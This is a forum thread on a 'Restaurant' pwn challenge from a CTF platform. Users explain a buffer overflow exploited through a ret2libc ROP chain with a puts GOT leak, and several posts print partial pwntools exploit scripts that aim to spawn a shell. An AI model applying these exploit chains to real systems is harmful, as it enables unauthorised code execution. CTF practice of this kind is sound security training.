TUTORIAL PWN Restaurant DISCUSSION
by n3m3n91 - March 02, 2021 at 01:31 PM
#1
I created the post simply to discuss this PWN challenge
Reply
#2
any updates bumpppppppppp
Reply
#3
any updates bumpppppppppp
Reply
#4
This is a basic re2libc with aslr bypass, there is lots of examples on google
Reply
#5
basically there's an overflow in the fill menu option. you pick that, then you can input more data and cause an overflow and ROP. use that to put the puts GOT address into rdi, then the address to puts in PLT to call it, then the address to main. that will print the GOT address giving you an ASLR leak and then restarting the whole thing by jumping back to main. use that leaked address to find the offset from puts to whatever you want in the bundled libc, then do the whole overflow again to ROP together whatever you want to start a shell and you should be good. only reason i haven't put out a writeup yet is that i can't write a working exploit because that bundled libc immediately crashes for me, so i can only make it work with my systems libc lol
Reply
#6
(March 13, 2021 at 10:54 PM)z3uz Wrote: basically there's an overflow in the fill menu option. you pick that, then you can input more data and cause an overflow and ROP. use that to put the puts GOT address into rdi, then the address to puts in PLT to call it, then the address to main. that will print the GOT address giving you an ASLR leak and then restarting the whole thing by jumping back to main. use that leaked address to find the offset from puts to whatever you want in the bundled libc, then do the whole overflow again to ROP together whatever you want to start a shell and you should be good. only reason i haven't put out a writeup yet is that i can't write a working exploit because that bundled libc immediately crashes for me, so i can only make it work with my systems libc lol

Send me your script maybe I can help you to debug
Reply
#7
(March 13, 2021 at 10:54 PM)z3uz Wrote: basically there's an overflow in the fill menu option. you pick that, then you can input more data and cause an overflow and ROP. use that to put the puts GOT address into rdi, then the address to puts in PLT to call it, then the address to main. that will print the GOT address giving you an ASLR leak and then restarting the whole thing by jumping back to main. use that leaked address to find the offset from puts to whatever you want in the bundled libc, then do the whole overflow again to ROP together whatever you want to start a shell and you should be good. only reason i haven't put out a writeup yet is that i can't write a working exploit because that bundled libc immediately crashes for me, so i can only make it work with my systems libc lol

This is exactly what I have been doing, but I can't see the leaked GOT address (I only get strange, non-printable chars where it's supposed to be). Were you actually able to display the leaked address ?

Here is my script, the call to PUTS is correct (I can, for example, display arbitrary strings), but I just can't see the libc leaked address in the output. I figured that there might be NULL BYTES in the address, which prevents PUTS to display it ?

Anyway, here's the script :

from pwn import *

p = process("./restaurant")
p.recvline(5)
p.sendline("1")
p.recvline(5)

#sleep(10)

main_address = 0x00400e4a
puts_got_address = 0x0000000000601fa8
#str_address = 0x00401210
puts_plt_address = 0x0000000000400650
#printf_plt_address = 0x0000000000400670
pop_rdi_address = 0x00000000004010a3
#exit_address = 0x00000000004006d0

payload = "A" * 40 + p64(pop_rdi_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)

p.sendline(payload)

#leaked_output = p.recvline()                              # DOESNT WORK
#print ('Leaked put() address : ',leaked_output)      # DOESNT WORK

p.interactive()
Reply
#8
(March 13, 2021 at 10:54 PM)z3uz Wrote: basically there's an overflow in the fill menu option. you pick that, then you can input more data and cause an overflow and ROP. use that to put the puts GOT address into rdi, then the address to puts in PLT to call it, then the address to main. that will print the GOT address giving you an ASLR leak and then restarting the whole thing by jumping back to main. use that leaked address to find the offset from puts to whatever you want in the bundled libc, then do the whole overflow again to ROP together whatever you want to start a shell and you should be good. only reason i haven't put out a writeup yet is that i can't write a working exploit because that bundled libc immediately crashes for me, so i can only make it work with my systems libc lol
I can help you with that drop me a pm if you need.
Reply
#9
here's what i have so far, y'all figure out how to calc the offsets for the second rop and you should be good to go i think


#!/usr/bin/env python3

from pwn import *
import time

e = ELF("restaurant")
libc = ELF("./libc.so.6")
p = remote("127.0.0.1",5318008)

#rop gadgets
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]

#pop the address of puts got entry in rdi, then jump to puts to print and leak it, then jump back to main and restart the program
libc_leak_payload = cyclic(40) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['main'])
time.sleep(0.5) #need some sleeps to receive text deterministic-ishly

p.sendline("1")
time.sleep(0.5)

p.recv()
time.sleep(0.5)

p.sendline(libc_leak_payload) # send payload
time.sleep(1)

DATA = p.recv() # receive result
offset = DATA.find(b"\xa3\x10\x40")+3 # find offset of our leaked memory in returned data

DATA = DATA[offset:offset+6] # extract leaked address from dump
leaked_puts = u64(DATA.ljust(8, b'\x00')) # make sure it's zero padded right and convert the bytes to an integer representation of the offset
print("LEAKED ADDR",hex(leaked_puts))

# trying to use a oneshot gadget to spawn a shell maybe??
oneshot_gadget = p64(leaked_puts-0xDEADBEEF) # can't run the damn thing with the correct libc on my system and what i've blindly tried with the remote didn't work

shell_payload = cyclic(40) + oneshot_gadget + b"\0"*600 #add a lot of nulls to avoid trash on the stack

p.sendline("1")

p.sendline(shell_payload) # send payload
time.sleep(1)
p.recv() # get rid of garbage data we get printed before we have control
p.interactive() # shell????
Reply
#10
(March 21, 2021 at 08:31 PM)z3uz Wrote: here's what i have so far, y'all figure out how to calc the offsets for the second rop and you should be good to go i think


#!/usr/bin/env python3

from pwn import *
import time

e = ELF("restaurant")
libc = ELF("./libc.so.6")
p = remote("127.0.0.1",5318008)

#rop gadgets
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]

#pop the address of puts got entry in rdi, then jump to puts to print and leak it, then jump back to main and restart the program
libc_leak_payload = cyclic(40) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['main'])
time.sleep(0.5) #need some sleeps to receive text deterministic-ishly

p.sendline("1")
time.sleep(0.5)

p.recv()
time.sleep(0.5)

p.sendline(libc_leak_payload) # send payload
time.sleep(1)

DATA = p.recv() # receive result
offset = DATA.find(b"\xa3\x10\x40")+3 # find offset of our leaked memory in returned data

DATA = DATA[offset:offset+6] # extract leaked address from dump
leaked_puts = u64(DATA.ljust(8, b'\x00')) # make sure it's zero padded right and convert the bytes to an integer representation of the offset
print("LEAKED ADDR",hex(leaked_puts))

# trying to use a oneshot gadget to spawn a shell maybe??
oneshot_gadget = p64(leaked_puts-0xDEADBEEF) # can't run the damn thing with the correct libc on my system and what i've blindly tried with the remote didn't work

shell_payload = cyclic(40) + oneshot_gadget + b"\0"*600 #add a lot of nulls to avoid trash on the stack

p.sendline("1")

p.sendline(shell_payload) # send payload
time.sleep(1)
p.recv() # get rid of garbage data we get printed before we have control
p.interactive() # shell????


Why did you use the characters "\xa3\x10\x40" ? This is the only but of the exploit code I dont understand
Reply
#11
(April 05, 2021 at 12:50 AM)sharkmoos Wrote: Why did you use the characters "\xa3\x10\x40" ? This is the only but of the exploit code I dont understand

that's the address pointing to our pop_rdi gadget
the string we send gets echoed back to us and it stops at the first null byte. pop_rdi is the first address we put in our rop chain, so \xa3\x10\x40\x00
the puts prints our padding and the first three bytes of the first rop gadget, then stops at the nullbyte and ignores the rest at the end. right after the normal puts call that echoes our input, our rop chain runs and prints the leaked address right after that, so by looking for those three bytes we should always get an offset right before the leaked address without having to mess around with a bunch of recv() calls and different offsets and whatever to make sure we get to our leaked address
Reply
#12
Dont know why but the second payload always crashes when calling system with /bin/sh (either locally or remotely). This happens if on the first payload (to leak) i return to main or directly to the fill function.

Also, one_gadget's are not working either

Any ideas to solve this problem?
Reply

Possibly Related Threads…
Thread Author Replies Views Last Post
TUTORIAL HTB pivotapi [DISCUSSION] pheonix2021 41 7,118 4 hours ago
Last Post: paulwatson42016
FLAG [FREE HTB PWN] Bad Grades & Antidote LITERALY FREE FLAG s4dd3rd4z3 0 159 Today at 03:07 AM
Last Post: s4dd3rd4z3
FLAG [HTB PWN] Restaurant s4dd3rd4z3 2 375 Today at 01:36 AM
Last Post: s4dd3rd4z3

 Users browsing this thread: 2 Guest(s)